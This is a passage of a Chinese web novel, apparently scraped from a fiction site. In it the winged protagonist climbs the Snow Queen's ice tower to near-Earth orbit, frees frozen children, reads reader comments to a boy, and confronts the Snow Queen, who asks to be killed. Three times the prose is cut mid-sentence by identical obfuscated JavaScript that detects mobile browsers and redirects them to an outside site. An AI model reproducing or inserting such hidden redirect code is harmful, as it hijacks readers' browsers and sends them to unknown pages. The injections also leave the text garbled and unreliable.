“让那个孩子先去外面找狮鹫。这里并没有温暖的地方,但狮鹫的皮毛还是能够取暖的。我们继续往上走。” “诶,也对!” 斯库德眼睛一亮,蹲下身说道:“孩子你先从这里出去,沿着道路走能看到一只狮鹫。就去那里,那里肯定会暖和一些。就躲在狮鹫羽毛下面,知道吗?” 叮嘱完孩子,看着他擦着眼泪跑出去,吟游诗人才连忙也跟着跑上了楼梯。 “你看到他,是想到自己儿子了吗?” 夏章雾刻意放缓脚步,等他跟上自己,这才侧过头询问道。 斯库德“嗯”了一声,然后脸上露出有些复杂的笑容:“而且我感觉,现在就算出现了最糟糕的情况,我能在这里救下一个孩子,这七年来的生活也不算是毫无意义。” 夏章雾歪了下头。 “这样啊……” 他缓缓地发出若有所思的声音,最后突然愉快地拍了拍斯库德的肩膀。 “那么就决定了!”他说,“接下来用这个瓶子里的泪水拯救孩子的工作都交给你了!” “诶诶诶诶!可是我根本不知道该怎么和孩子进行交流——” “放心,我也是尤其不知道怎么和孩子们交流的先知。孩子什么的,以前我都是交给某个钱很多人很闲的冤大头来管的啦。” “呜、呜呃?” 反对也没用。总之事情就这么轻松地被压榨起人来毫不手软的天使先生决定了。 他们继续沿着楼梯向上走,同时用泪瓶中永远都不会耗尽的泪水融化这些孩子已经冻成冰块的心,让他们下去寻找狮鹫,去躲起来。 他们承诺会带这些孩子回去。 他们继续往上走。 有的楼层没有孩子,但每个楼层顶多只有一个孩子独自“居住”在那里。因此这座塔显得格外的空旷、寂静和冰冷,甚至感受不到任何活人在这里生活的气息。 有的楼层摆放着用尺规画出来的绝对精准的画作;有的楼层用脆弱的冰锥搭建出了倒三角形的大厦;有的楼层摆放着高矮错落的音叉,风雪在其中用一模一样的力度敲击着标准的音符。 在第六层,六角雪花被密密麻麻地种植在六角雪花形状的花坛当中。 它的边缘以科赫雪花分形的形式无穷无尽地延展,似乎一直能够以这种极端精确的形式延展到微观粒子的领域。 在第二十八层,十二个窗口精准地把黄道十二宫呈现在窗户的中央。 浩瀚的北极星图以二十一世纪的人都为之惊叹的精确度雕刻在地上,承接着来自最上方北极星的光芒。那些光被楼梯与楼层中放置的镜子偏转,构成了正十二边形的光线回路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545782|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第四十二层。 来自不列颠的吟游诗人斯库德终于找到了自己的儿子,凯恩·巴尔德。他甚至没有用上那个泪瓶,因为他在见到那个孩子的第一眼时眼泪就夺眶而出,然后紧紧地抱住了自己多年来面貌从未改变过的儿子。 而夏章雾则是在旁边努力若无其事地站着,拼尽全力才让自己看上去不那么像是在催泪电影里那个煞风景的家伙。 不过最后他还是不得不煞了风景。 “斯库德。” 他喊了一下对方的名字,随后转过身看向和自己的儿子紧紧拥抱的吟游诗人,咳嗽一声。 “带着你的儿子一起下去吧。” 他说。 斯库德愣住了。 “这座塔的内部和外部并不是统一的。虽然我们才到第四十三层,但所处的高度或许已经有几英里了。” 夏章雾犹豫了几秒,但还是尽可能用中世纪人能听懂的话说出了自己的推测:“再上面走的话,你可能会感到窒息、头晕、反胃。而且上方也会更冷,所以接下来就交给我好了。” 简单来讲,就是高原反应。 这座塔很不对劲。这一点夏章雾在第二十八层就直观地感受到了:按照常理来讲,如果不是在极点,北极星不可能正好处于塔的中央。也就是说,塔的位置其实是在北极点上。 而且他们现在所处的位置太高了。 作为今年夏天亲自飞到了平流层上看银河的人,夏章雾可以很肯定从塔的窗口往外看去时,看到的风景绝对不正常。 那是海拔上千米的地方才能看到的景色。绝对不是区区爬四十几层楼就能看到的,就算是这里的每一层的挑高都非常高也一样。 虽然他并不明白其中的原理,但他知道,再这样下去的话,自己还好,那位吟游诗人绝对是没有办法继续走上去的。 斯库德沉默了几秒。 他没有质疑,只是目光坚定地点点头,然后把依旧装满泪水的瓶子递给夏章雾。 “我会在下面等着您的。” 斯库德拉住自己儿子的手:“我先带着孩子们聚起来,再看看能不能找到他们父母的线索。关于冰雪女王的事情,就交给您了。” 夏章雾把瓶子放回口袋。 他露出微笑,然后转身继续往阶梯上走去,同时轻松地挥了挥手。 “该说麻烦的是我才对,诗人先生。” 第四十三层。 夏章雾没有用泪瓶唤醒这一层的孩子。 虽然冰雪女王掉在他们心中和眼中的冰块把这些孩子从有血有肉的活人变成了追求着绝对美感的机器与雕像,但也让这些孩子不再感受到这里的寒冷与不适,也不让他们受到时光的影响。 如果他贸然地把这些“雕像”重新变为活人,他们反而可能没有办法走下四十多层楼。 ——所以还是等解决了冰雪女王的事后,再一口气解决这些孩子的事情吧。大不了他就抱着这些孩子一个个飞下去。 第一百三十层。 夏章雾看到了这座塔上的第九十九个孩子。 第二百五十层。 夏章雾没有看到任何人。 第三百六十层。 夏章雾依旧没有看到任何人。 第四百层。 没有人。 第四百九十层。 没有。他始终没有看到第一百个孩子。 第四百九十六层。 已经采取了飞行模式的夏章雾轻轻地一拍翅膀,就这样轻巧地来到了塔的最后一层。 这里是塔的顶部。 铸造最后一层塔周围墙壁的东西已经不是白色的冰雪,而是透明的薄冰,在里面可以清晰地看到外界的一切风景。 漆黑的夜幕笼罩在周围,星星的光辉一如往常地落下。布满坑洞的银灰色月亮以半明半暗的硕大球体姿态悬浮在其上。 夏章雾此时几乎完全是在依靠怀里的瓶子提供热量。他握紧泪瓶,随后垂下目光。 视野中倒映出一个巨大的、漆黑的球体,在广袤的宇宙中呈现出它庞大而无法被视野概括的弧线形边缘。雄伟而又庄严。 ——地球。 实在是大得不可思议。 “哇哦。” 夏章雾先生转头看向这一层上那个正在拨弄着大概是天文望远镜的东西的孩子,然后面无表情地对作者吐槽道:“所以说,这里其实是近地轨道吗?” “嗯哼。” 作者得意地说:“这里的风景是不是很酷?和飞到平流层看银河也不相上下,对吧?” 夏章雾往外面又看了眼,随后发自内心地点了点头。 你别说,还真挺酷的。 74.夏某对未成年最有耐心的一集 在近地轨道上面看地球的感觉很酷。在太空能够脚踏实地、而且还能自由呼吸的感觉确实也很新鲜。 但夏章雾还是很快就把注意力放在了正儿八经的工作上面。 这里是地球近地轨道还是什么稀奇古怪的地方并不重要,就算是他们现在是在黑洞的视界极限里也没什么大不了的。 重要的是,他必须要让面前的这个孩子把冰雪女王喊回来。更重要的是,他还不能随随便便用口袋里的泪瓶。 理由还是非常简单:冰雪女王的冰虽然冻结了孩子的心,但也赋予了他们在高塔上生活的能力。如果这孩子重新变回了普通人,他真的能够在这么高的地方生存下去吗? “所以说,事情怎么最后还是回到了要和小孩子打交道上面啊?” 夏章雾顶着一对死鱼眼,面无表情地对着作者吐槽:“我都快要怀疑这是你故意的了——这么多个任务下来,竟然连一次不用接触小孩子的都没有。这合理吗?” 画外音在虚空中稍显惊讶地“哦呀”了一声。 “怎么,你才知道啊?” 它得意得像是个邪恶计划成功的反派,连演都不演了,直接发出了嘻嘻的笑声: “当然是故意的啦!因为某个主角被哭哭啼啼的小孩子欺负的样子真的超好玩!我每次想到这件事就高兴得能多吃一碗饭!杂鱼,杂鱼,被小孩子追着跑的杂鱼主角!” 夏章雾:“?” “还多吃一碗饭呢,怎么不把你吃撑死!” 他竖起中指,没好气地骂骂咧咧起来:“这次工作后我一定要申请辞职!辞职!你给我去找别的冤大头拯救这个狗屎世界吧,就算接下来会有陨石把地球撞个对穿我都不——” 衣角被拉动的细微触感传来。 “那是什么?”孩子轻缓的声音响起。 夏章雾愣了一下,终于结束了对某个混蛋作者的抱怨,低头看去。 那个原本正在研究望远镜的孩子此时已经走到了自己的身边,并用手拽住了披风。他仰着脑袋,那对有着红宝石色彩的眼睛就这么认真地看着面前的大人。 “那是什么?”他问,“你在和谁说?” 夏章雾眨了眨眼睛。 ……哦,骂那个混蛋作者太投入,差点把这件事的正主给忘掉了。 “你的名字是什么?” 就算没有答案,那孩子也继续执着地问着。 ——简直就像一个小型提问机。 放在平时,某位夏姓人士大概会对这种类型的孩子退避三舍。但考虑到目前的情况是他有求于人,他还是不得不表现出了超乎寻常的耐心。 “叫我勒托就可以了。” 夏章雾蹲下身,看着面前直直盯着他看的孩子,有些纠结地思考着自己接下来编点什么样的内容才能把他给糊弄过去。 “至于别的,我也不知道你能不能理解。” 他说:“我是神明派来的先知,来这里完成一个非常重要的任务,这个任务需要你……” “先知。” 那个孩子只是平静地重复了一遍夏章雾口中说出的词,并以此成功地打断了夏章雾好不容易才绞尽脑汁地编出来的话。 他说:“那你的预言呢?” 预言?这是在问他要证据吗? 夏章雾的嘴角抽搐了两下,充分地意识到了未成年人这种生物到底有多难忽悠。 不过他也有办法。毕竟他说自己是“先知”这件事可不是完全意义上的欺骗,这可是有一套可以自圆其说的逻辑在里面的,而且还得到了很多人的客观认证—— “等等,真的有很多人吗?” 作者在一旁突然发出捣乱的声音:“我记忆里怎么是费奥多尔凭借一己之力,成功把你的职业定位转变成这样的?” “你闭嘴。” 夏章雾冷酷无情地说。 然后他才掏出了自己的秘密武器——之前一直被他放在怀里的笔记本。 虽然这个笔记本的背后是现代化工厂流水线的产物,但至少从表面上来看,它采取的是依旧相当传统的锁线装订与牛皮纸封面,就算放在中世纪也没有太强烈的违和气息。 当然,里面内页的质量肯定是要比中世纪的造纸水平强上个几百倍就是了。 拽着他披风的孩子全程都目不转睛地看着被夏章雾拿出来的书,看着那本书被面前的大人若有所思地翻了好几页,最后把摊开的本子摆在了自己面前。 但上面什么都没有。 他偏过头,像是有点疑惑那样地把视线转移到了夏章雾的脸上,然后就看到大人对他有些得意地笑了笑。 “普通人是看不到上面的文字的。” 那个自称为先知的家伙这么说道:“不过作为承载预言的书,它其实很神奇哦。它的页数没有尽头,不被认可的人也无法损害它。想不想试一试?” 于是他尝试性地伸手把书直接翻到最后一页的位置,但发现还有一页。当翻过这一页后,新的一页又出现在了最后的位置。 他又尝试把最后的那一页纸撕下来,但不管怎么样都没有办法做到。 夏章雾看着面前的孩子歪着脑袋,似乎很是困惑不解的样子,在心里悄悄地松了口气。 感谢那个混蛋作者最终还是给这个笔记本增加了这些额外设定,否则他现在还真的未必能够忽悠住这个家伙。 不过这样应该就行了吧? 他重整精神,开口问道:“怎么样,你确认我没说谎了吧。所以你愿意帮本先知……” “预言。” 然而那个孩子只是收回了手,用很认真的语气说道:“我想听你说上面的预言。” “?”夏章雾的脸上依旧保持着微笑,但是头顶已经缓缓地出现了一个问号。 等等,这种乘人之危、得寸进尺、三天不打上房揭瓦的感觉怎么这么熟悉呢?上次有这样的感觉,好像还是太宰治要他带着出门逛公园的时候吧? ——所以你真是安徒生吗!你这简直就是某条日本栗子河豚的北欧进化分支吧! 尽管内心的吐槽已经多得快溢出来,但夏章雾还是叹了口气,老老实实地把笔记本翻开。 “好吧。坐下来,我给你读几段。” 他说。 反正他也打算在见到冰雪女王前再重新读一遍读者们给出的意见,就当作是顺便给家伙也读一下好了。 “首先是——” 夏章雾往下面看了一眼,语气逐渐变得不确定起来:“哲学理论?” 「Audience: 这都是咱小学看的童话了,对小孩子来讲就是大团圆结局……起不到什么帮助呢,不过小夏大概也有自己的思路了。 话说之前看到一句很奇妙但无法理解的话: “人的欲望必须通过否定而得到满足,而爱意味着把你没有的东西给一个不想要的人。”搞不懂啊……」 “简单来说,是关于爱的哲学分享。” 夏章雾沉思了片刻,然后开始怀疑地抖动起笔记本:“怎么我有一种这里正在逐渐变成深夜情感频道的感觉?” “爱。”孩子轻轻地念了遍这个名词,也没太在意为什么预言里会出现这样的东西,“具体是什么呢?” “简单来说,渴望源自于无法得到,爱意味着给对方展现自我的空缺。” 夏章雾狐疑地看了半天:“这句话应该就是这个意思?好吧,我承认我在哲学这一块真的很糟糕。不过你应该也没到懂这件事的年龄,我们还是直接跳过去吧。” 他果断地翻过一页。 「liar 没有说谎,大概: 久违的进行评论:还是很好奇那瓶东西到底是什么?难不成是爱丽丝的眼泪?就是上一章末爱丽丝那一段哭的时候流下的眼泪? 此处是我之前老师们的评论启发,怕不是要用OOL对付OOL,毕竟仙境代表的是畸变的永恒,是绝对的感性,而恰巧冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549013|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪女王是不存在永恒,绝对的理性,然后来个以毒攻毒……」 这一段还算正常。 夏章雾以审视的目光继续看下去。 「我知道我这样说很变态,但那可是小号的费佳耶!而且在这冰天雪地里面很有可能是戴着帽子饭团版本的小号费佳!我的天呐,会有多么可爱啊!我知道他很危险,但是他真的很好看,而且隔着一个次元他弄不了我……」 呃,这一段就不是那么正常了。 夏章雾沉痛地按住额头,然后捂住脸。 果然,他就是太天真了,竟然会产生那群读者里面还存在正常人的念头。 “这是什么?”孩子问。 “发癫。” 夏章雾沉重地说,然后抬头看了他一眼,突然发现对方的红色眼睛与记忆里的某个俄罗斯混蛋有那么一点微妙的相似。 ——不过只是红色眼睛而已。 他一路上见到的什么五颜六色眼睛都有了,加上头发的颜色,整体更是色彩斑斓。他还不至于因为这个就犯俄罗斯人PTSD。 “我们继续看下一个吧。” 夏章雾又翻了一页。 「玧末: 爆!炸!就是艺术——!这样吗?话说这人可以飞,你为什么不飞,就这么想要爬塔证明自己吗,那没办法了,虽然你是天使,但我尊重并谴责您试图自证的信念(看标题)」 夏章雾沉默了一瞬。 “这个是在犯傻。”他毫不犹豫地说,“你懂的,有时候给出预言的对象也会用他们可爱的小脑袋瓜做点傻事。” 别的就不说了,你知道塔顶有多高吗?两千公里呐,这可是直达近地轨道了!要飞的话他飞累死了都不一定能飞上来,而且从里面爬上来好歹能救先救几十个未成年下来! 懂不懂什么叫救世主的智慧! 孩子眨眨眼睛。 “是这样吗?”他问。 “嗯,预言本质上就是询问另一个视角。那个视角能看到过去和未来,但本身也会因为某种原因而给出错误的判断。” 夏章雾简单地解释了一下,继续往后翻,看着上面读者们给出的五花八门的留言,很是随便地说道:“你还能看到不少特别执着于假装自己特别可爱的留言,比如这个。” 「桉莉斯: 勒托先生,我们要不要来一个py交易?您承认我是很好很好的读者(重点在“读者”),我在您答应的当天的一整天一一不编您的笑话,一点都不带上您,我编其他人的笑话(虽然对我来说有点困难)……比如作者小姐?费奥多尔先生?栗子河豚?」 你别说,这个条件还真的有点让人动心。 “简单来说,她在尝试用利诱的方式来让我承认她可爱。不过说实在的,她其实……呃。” 夏章雾停顿了一下,最后昧着良心对身边的孩子说:“她确实就是那些阅读我故事的家伙当中最可爱的那一个。” 孩子“哦”了一声,歪头看着。 然后就是接下来那些读者们插科打诨的话,夏章雾简单地重述着,时不时被读者们的言论整得有那么一点轻微的无语,然后把最近的一些评论全部读完。 而孩子从始至终依旧在看着他。 他脸上的表情从始至终都没有什么变化。夏章雾扯了扯嘴角,合上笔记本,突然感觉自己和一个心已经是冰块的未成年人聊那么多有点浪费感情。 现在他已经开始考虑其他的备用方案了:比如他完全可以把这倒霉孩子一把薅走,重新飞过回到塔底,直接打开瓶子给他灌眼泪,再趁他嗷嗷哭的时候要他把冰雪女王喊回来。 非常完美的计划,唯一的缺点就是要跑的路有点多。 但就在夏章雾打算身体力行地把自己的想法转变成实践的时候,那个孩子突然伸出了手。 他握着一串冰制作的铃铛。 “你想要她回来。” 他眨眨红色的眼睛:“你想要它,对吗?” 75.是的,它自杀了 或许是因为特殊的材质,如果只是受到轻幅的摇晃,这枚铃铛并不会响动。只有当刻意去摇动它的时候,它才会发声。 它的声音很清脆、很悦耳,在宇宙星辰当中回荡着,与不知自哪个方向传来的回声一起,形成了层层叠叠、宛若圣咏的合唱: “叮——当——” “叮、叮、叮——当。” 男孩沉默地看了看手中发出声响的铃铛,然后重新收了回来,继续捧着笔记本研究,也不知道他对着这片空白能研究出什么。 “话说回来。” 夏章雾收回目光,突然问道:“我好像还没有问过你的名字?” “这不重要。”男孩没有停下研究书的动作,语气平淡地回答,“反正我也忘记了。” 真的不重要吗? 夏章雾看了眼这个表情波澜不惊的孩子:也许对于现在的男孩而言,名字这种东西真的不怎么重要。 距离他最近的孩子也只是在第一百三十层,冰雪女王也并不总是待在这座高塔。似乎就算是有名字,也没有人喊他。 “但你以后也总得有个名字吧。” 夏章雾耸了耸肩,把自己的笔记本从对方手中拽了回来,然后给出了发自内心的提议: “安徒生就很不错,你真的不考虑一下?” 男孩的手里现在什么都没有了,于是只好抬起头看着夏章雾的脸。 那对很漂亮的红宝石眼睛中似乎终于出现了点名为困惑的情绪,像是不太懂为什么对方会想要用这个名字喊他。 “名字并不重要。” 他说:“但姓名依旧是神圣的契约。如果你一定要为别人取名,就要做好负责的准备。您难道打算对我负责吗?” “嘎吱嘎吱。” 作者似乎在旁边吃水果——它好像每天都有很多数不完的小零食可以吃,而且吃东西永远都堵不住它那张该死的嘴。 “嘎吱嘎吱,这话听上去有点耳熟。” 作者含糊不清地说:“而且我感觉某个人给出的回答肯定会更让我觉得耳熟。” 夏章雾猛烈地咳嗽了几下,有些恼羞成怒地喊了一句“闭嘴”,然后才有些尴尬地“唔”了声。 “那还是算了吧。”他很严肃地对面前的未成年人说,“完成这次任务后,我就要回自己该待的地方了,那里我还要照顾别的孩子呢。” 他是真不想给未来的自己增加更多的负担了——光是一个栗子河豚就让他感到了什么叫心力交瘁,要是再来一个栗子河豚的北欧形态,他干脆也别当先知了,直接转行去养殖河豚吧。 男孩没说话,只是用红色的眼睛继续静静地望着夏章雾。 夏章雾被他盯得有点发毛。 “我也没办法的。” 他想了想,于是再次谨慎地说道:“我能不能带你回去,这个主要是看造物主的意思。而且我相信那家伙绝对不会让你过去的。你要知道,这是个时间问题,时间还没有到……” 男孩依旧默默地盯着他。 “要不你先下去吧。” 就在这时,被盯得浑身不自在的夏章雾突然急中生智,赶紧说道:“我看冰雪女王马上就要回来了,打打杀杀的场面小孩子看了不好。你最好还是先到下面等等。” 一直幽幽盯着他的目光没有挪开。 “你会下来吗?”男孩平静地问。 “当然会了。”这次夏章雾给出了毫不犹豫的坚定回答,“我解决完这件事后又不可能把你一个人丢在这。如果你不放心的话,我就把这本书给你。” “……好。” 男孩垂下眼眸,抱住被递过来的笔记本,安静且乖巧地沿着楼梯走了下去。夏章雾看着他逐渐消失的身影,总算是松了一大口气。 ——总算是应付过去了。 而此时,作者还在他的耳边吵吵闹闹。 “所以说为什么要叫我闭嘴,这种发展不就是非常耳熟吗?我又没有说错什么。” 它超级理直气壮地大声说:“说到底你就是不想负责,而且还想要把锅丢给我,能不能要一点脸?” 夏章雾抹了一把头上的汗,对此的回应是非常简单的“呵呵”两声。 “你竟然还好意思说这话?明明这种局面都是你这个作者导致的!” 在解决了未成年人在场的问题后,他总算有了和作者互相伤害的时间:“与其说风凉话,你还是送我一个强效失忆工具,免得让我还要面对现在的情况吧?” 而作者给出的回答也相当理直气壮。 “才不要咧。如果真给了你这东西,我还怎么看你的乐子?”它说。 “?”夏章雾努力保持着微笑。 ——所以有时候他是真的想要隔着次元壁,直接把这个没心没肺的作者掐死。 他怎么就摊上了要为这个混球打工?明明是个不在乎自己笔下世界和人物死活的家伙,为什么要创作一个注定要拯救世界的“主角”啊! “不过呢……最重要的原因是,因为未来发生在了过去之前,所以已经在未来得到确认的事实,就算我也没法做出改变。” 作者的声音慢悠悠地传来:“就算拿到让别人失忆的东西,也会莫名其妙地失去效果。涉及到因果的事情可没你想得那么简单。” 它大概又吃了个什么东西,传来“嘎吱嘎吱”的食物咀嚼声音。 “而且啊。”它一本正经地说,“你的脑子里总是想着和别人建立关系后就溜之大吉的事情,就连我也觉得这未免也太美了。” 伴随着话语的落下,远处广袤而黑暗的宇宙中亮起了光。 夏章雾短暂地愣了一下,不知道是因为作者突然正经起来的发言还是眼前事物的变化。 占据了大半个视野的巨大漆黑球体边缘突然呈现出碧绿与橘黄交织的色泽。 随后,大气层在短暂的时间内被渲染成了灿烂辉煌的绿色,一条条散发着绚烂白光的碧绿色线条开始蜿蜒、交织,最后组成了无比明丽而又震撼的道路。 那条道路从南方开始,像是河流一样蜿蜒,直到抵达了高塔的位置才停住。 夏章雾站直身子,表情变得严肃。 “叮当。” “叮当。” “叮当。” 塔上成千上万的铃铛同时响起。 “叮当。” “叮当。” “叮当。” 塔上所有的雪花同时开始飞舞。 “叮当。” “叮当。” “叮当。” 大气层中的高能带电粒子电离,散发出更加璀璨的光辉。大气中的水蒸气第一个凝结,接下来就是其他的气体,变成美丽的固体寒冰,共同组成了一条光辉美丽的通天之路。 “叮当。” “叮当。” “叮当。” ——冰雪女王要回来了。 这个世界如是轻轻地说。 夏章雾眯起眼睛。 他注视着面前稀薄的空气被凝固成脆弱而又透明的台阶。他注视着一辆银白色的车辇被巨大的冰鸟拖曳着,飞向自己所在的位置。 他注视着车辇上的存在: 那个有着全程闭着眼睛,有着与人类完全相似的外貌、完美无瑕的苍白容颜、泛着蓝光的透明色长发,头顶闪耀星辰光辉王冠的存在。 透明冰块制作的墙壁为它打开门扉,星星的光辉落在它的冰雪王冠上,极光的海洋在它身后波涛起伏。 它穿着宛如无数晶体构成的长裙,双足踩过空气凝固后的阶梯,步伐优雅而又缓慢地踏入自己的城堡。 然后它睁开了眼睛。 那是一对如同镜子、如同金属、如同冰的苍蓝色眼睛。在那对眼睛里什么都没有,只有一片绝对的空无。 “啊。”它的声音轻且平静,像是对面前出现的场景毫无诧异,“您来了。他帮助了您,不过这也没什么可惊讶的。” 夏章雾的手默默地放进了口袋里。 就算泪瓶仍在怀里散发源源不绝的热度,他依旧感觉到了周围伴随而来的低温。 那是能让空气都变为固体的冰冷,可以轻而易举地冻结普通人的血液,无限地接近于宇宙中绝对零度的概念。而且伴随着冰雪女王每说出一个字,周围的温度似乎都在变得更低。 这是他第一次见到能交流的文学负面体。 这是他第一次见到这么危险、甚至能够驯服自然现象的文学负面体。 “是啊,如果继续发展下去,说不定连物理规则都可以重新定义呢。不过杀死它对你来说很简单就是了。嘎吱嘎吱。” 作者正在吃零食的声音从虚空中传来,再这样严肃的场景下显得相当不靠谱和随便:“所以没什么好担心的。嘎吱嘎吱。你真正的麻烦还在后面:上百个失足少年在等着你回去呢。” 夏章雾的眼角微不可查地跳了一下。 上百个未成年…… 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560782|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,这个对他来说确实比面前的冰雪女王还要可怕。 “你知道我来了?”他问。 冰雪女王眨了眨眼睛,微笑起来。 那是毫无感情的微笑,就像是一座雕像脸上的笑容。它笑是因为微笑就是它天然的形状,与任何人类自以为是的情绪无关。 “未来并不是无法预测的。” 它说:“如果你知道有关过去的一切,那么就算未来也可以被轻而易举地推导。你杀死过很多事物,现在轮到的是我,仅此而已。” 夏章雾有些诧异地扬眉。 好吧,看起来他在这群非人类当中倒是挺声名远扬的。就是不知道这份名声到底是自己在未来加班了多少次后的结果。 “但你还是来了。”他说。 至少是在知道有人想要杀死它的情况下,这个文学负面体依旧选择了来到这里。 “因为我不在乎。” 冰雪女王的脸上依旧是那样毫无情绪波动的微笑,它的声音很空灵:“倒不如说,我很乐意在你的手中死去,天使。” 这个就不太妙了。 夏章雾沉默了下来。 该死,他想要的可不是这种名声。 你们这些中世纪的混蛋,莫非看到长着翅膀的鸟人后都不管他的翅膀是什么颜色,直接就开始乱喊天使了吗?所以天使在你们的心中就是定义这么宽泛的玩意,眼睛都不要了是吧? 更何况—— “我不信。”他说,“如此憎恶人类的你,现在已经拥有了毁灭人类的能力,怎么会自愿选择死去?” 文学负面体对人类的恶意是本能,是构成它们的一部分,甚至就是它们本身。指望它们突兀起来地对人类产生其他感情,还不如指望柯南·道尔能够有朝一日还他五十英镑的欠款。 不过也有一点很古怪。 为什么这个文学负面体没有对人类真正意义上地下过手? 如果拉普兰女巫说的就是真相,那么就算是掉落在人眼中和心中的冰块,也不是冰雪女王有意为之的结果,更像不幸的巧合。冰雪女王唯一主动做的事就是把它带回来的孩子,在一段时间后变为冰雪的雕像。 而如果只是这种行为的话,在文学负面体中都可以算是“大善人”了。 所以一开始夏章雾对此的理解是这个文学负面体天生就非常弱小,弱小到它就算是存在和发展了许多年,也无法对人类带来巨大的威胁。 但事实正好与他猜测的相反:面前的这玩意强得有些可怕。 那么它为什么没有主动伤害过人类,这就成为了一个很值得商榷的话题。 “我确实憎恨着人类。” 冰雪女王也相当坦然地承认了这一点:“人类总是浪费自己的天赋。他们拥有这个星球上最杰出的才能,但却永远蒙着自己的眼睛。” “他们本可以去探索亿万年也不足以形容其长度的宇宙,但总是被毫无意义的、不过百年就会消亡的人或物分心。但如果只是如此,他们只是可笑,倒是并不令我厌恶。” 它平静地说:“可人类卑劣之处在于不仅他们的理性总是成为感情的奴隶。最糟糕的是,他们总是对此沾沾自喜,引以为傲,仿佛他们口中本质不过激素冲动的‘爱’才是最重要的本质。” 夏章雾再次眯起眼睛。 “所以你讨厌爱。”他说。 “所以我只是让他们意识到真相。”它回答。 “真相?” “真相是那些短暂的存在并不值得多心。他们生来丑陋、充满缺陷、愚钝且从未明白过自己的目标。” 冰雪女王的回答很有耐心,它的目光落在遥远的宇宙当中,声音就和宇宙一样寒冷:“伟大的理智应该被献给伟大的事物,世界的规律与真理远比那些事物美丽许多。” 夏章雾有些不解地扫视了它一眼。 “那你怎么会想死去?”他说,“你大可以把所有的人类都变成你理想的样子。你的力量完全可以做到影响全球。” “因为人类并不值得。” 冰雪女王轻飘飘地回答:“我憎恶他们——所以我不会为人类选择这样美丽的结局。” 它说:“我更心爱的人类灭绝方式是被他们口中的爱毁灭。但我的力量做不到这一点,因为我从未理解过爱,也无法制造出爱。” 夏章雾凝视着它,沉默了片刻。 “所以你要死。”他说。 “是的,所以我要死。”它回答。 76.哈人,我先润了 驱动着文学负面体行动的第一因是憎恨,它们并非是为了活下去而活着的存在。 它们会毫不犹豫地用自己的死亡进行报复,它们与所有的生物都并不相同。 夏章雾明白这一点,所以他并不惊讶。 他只是对一件事感到困惑:为什么它觉得自己的死会导致人类走向灭亡的结局? 但他还是打开了泪瓶的木塞。 源源不断的泪水从中流下。 它们滴落在冰块的平台上,把坚冰重新融化成温暖的液体,让空气中升腾起白色的烟雾。 而冰雪女王平静地注视着这一幕。 在她宛若宇宙般冷淡的视线下,泪水周围的空气被冻结、被压缩、被凝固。 它们主动裹上那滚烫的、永远也无法被冻住的眼泪,在接触到泪水的那一刻便被融化,然后又在极度的低温下重新变为固体。 不断毁灭又不断生成的苍白冰晶就这样沿着瓶口泪水流淌的直线蔓延,最后在外表上形成了一柄纤细修长的、闪烁着冷冷寒光的剑。 夏章雾把泪瓶的瓶盖重新盖上。 他伸手握住剑柄的位置。 冰冷的寒气与滚烫的触感几乎同时缠绕在了他的手上。炎热到足够杀死这个世界上最冰冷的生物,同时也寒冷到可以破开一切的阻碍。 但他没有抬起剑。 他只是眯着眼睛,注视着面前这个对死亡毫无畏惧之色的存在、这个想要通过自己的死亡来报复整个深受它厌恶的人类的存在。 “恕我直言。我都没有办法想到,你怎么能用自己的死亡精准地决定人类的未来。” 夏章雾忍不住说:“我猜你或许是机械决定论的信奉者,认为了解过去的全部细节就可以轻松地打开未来的钥匙。但就算是这种东西,也不过在未来被人类轻而易举地证伪了。” 冰雪女王抬起眼眸。 “这并不超乎我的想象。人类总是觉得世界的真相存在着他们无法认知的混乱,并把这种无知称为非理性的浪漫。” 它轻轻地、以近乎漫不经心的口吻说:“但事实并没有什么可浪漫的。宇宙的真相是如此整齐,如同书上的文字,整洁而又富有逻辑。” 夏章雾静静地注视着它。 书上的……文字吗? “不过如今,这些都不再重要。” 冰雪女王抬起头,她深深地望着宇宙看不见的远方,声音冷淡:“我确信我的死亡给人类带来的结局,并愿意为此付出生命作为验证。而您要做的就是杀死我。” “——您能够做到。用这柄泪水制作的剑融化我的身躯,赐予我死亡。” 是的。 无论如何,夏章雾必须在这里将它杀死。 不管它打算通过自己的死亡对人类进行什么样的报复,不管它有什么样的计划。因为他作为被作者选中的主角,杀死文学负面体就是他最大的职责。 所以他抬起剑。 冰晶制作的剑锋折射出冷漠的光芒。 没有任何多余的动作,也不需要思考对方话里任何的内容。 